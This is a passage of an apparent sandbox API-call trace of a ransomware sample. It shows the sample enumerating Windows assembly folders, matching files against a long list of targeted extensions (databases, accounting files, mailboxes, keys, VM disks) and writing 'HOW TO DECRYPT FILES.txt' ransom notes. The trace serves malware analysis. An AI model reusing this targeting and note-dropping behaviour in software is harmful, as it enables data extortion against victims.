(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0103.306] lstrlenA (lpString="*.edb") returned 5 [0103.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.306] lstrlenA (lpString="*.accdb") returned 7 [0103.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0103.306] lstrlenA (lpString="*.odb") returned 5 [0103.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.java") returned 0 [0103.306] lstrlenA (lpString="*.java") returned 6 [0103.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0103.306] lstrlenA (lpString="*.asm") returned 5 [0103.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.306] lstrlenA (lpString="*.pfx") returned 5 [0103.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0103.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0103.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0103.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0103.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0103.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0103.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0103.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0103.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0103.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0103.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0103.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0103.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0103.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0103.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0103.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0103.310] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x454bab20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x454bab20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x454bab20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x20c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.310] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.310] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eafaaf0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1eafaaf0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1eafaaf0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="fc36797f7054935a6033077612905a0f", cAlternateFileName="FC3679~1")) returned 1 [0103.310] lstrcmpA (lpString1=".", lpString2="fc36797f7054935a6033077612905a0f") returned -1 [0103.310] lstrcmpA (lpString1="..", lpString2="fc36797f7054935a6033077612905a0f") returned -1 [0103.310] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.311] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="fc36797f7054935a6033077612905a0f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f" [0103.311] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eafaaf0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1eafaaf0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1eafaaf0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.311] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.312] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eafaaf0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1eafaaf0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1eafaaf0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.312] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.312] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.312] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ead4990, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1ead4990, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1ead4990, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.312] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.312] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll") returned -1 [0103.312] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll") returned -1 [0103.312] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll") returned -1 [0103.312] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\*.*") returned="*.*" [0103.312] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\" [0103.312] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\") returned="" [0103.312] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\HOW TO DECRYPT FILES.txt" [0103.312] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\fc36797f7054935a6033077612905a0f\\how to decrypt files.txt")) returned 0xffffffff [0103.313] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\fc36797f7054935a6033077612905a0f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.350] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.352] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.352] CloseHandle (hObject=0x90) returned 1 [0103.353] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll" [0103.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0103.353] lstrlenA (lpString="*.ems") returned 5 [0103.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.db") returned 0 [0103.353] lstrlenA (lpString="*.db") returned 4 [0103.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.353] lstrlenA (lpString="*.dbf") returned 5 [0103.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0103.353] lstrlenA (lpString="*.myox") returned 6 [0103.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0103.353] lstrlenA (lpString="*.myo") returned 5 [0103.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.354] lstrlenA (lpString="*.qbw") returned 5 [0103.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.354] lstrlenA (lpString="*.qbb") returned 5 [0103.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.354] lstrlenA (lpString="*.qbm") returned 5 [0103.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.354] lstrlenA (lpString="*.qbo") returned 5 [0103.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.354] lstrlenA (lpString="*.qbx") returned 5 [0103.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0103.354] lstrlenA (lpString="*.qba") returned 5 [0103.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0103.354] lstrlenA (lpString="*.qby") returned 5 [0103.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.354] lstrlenA (lpString="*.qbj") returned 5 [0103.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.354] lstrlenA (lpString="*.ofx") returned 5 [0103.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0103.355] lstrlenA (lpString="*.qif") returned 5 [0103.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0103.355] lstrlenA (lpString="*.mye") returned 5 [0103.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.355] lstrlenA (lpString="*.mbox") returned 6 [0103.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.355] lstrlenA (lpString="*.eml") returned 5 [0103.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0103.355] lstrlenA (lpString="*.pst") returned 5 [0103.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0103.355] lstrlenA (lpString="*.ost") returned 5 [0103.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0103.355] lstrlenA (lpString="*.idx") returned 5 [0103.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.355] lstrlenA (lpString="*.dbx") returned 5 [0103.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0103.355] lstrlenA (lpString="*.sql") returned 5 [0103.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.356] lstrlenA (lpString="*.mdb") returned 5 [0103.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.356] lstrlenA (lpString="*.fdb") returned 5 [0103.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fc36797f7054935a6033077612905a0f\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0103.356] lstrlenA (lpString="*.wab") returned 5 [0103.356] PathMatchSpecA 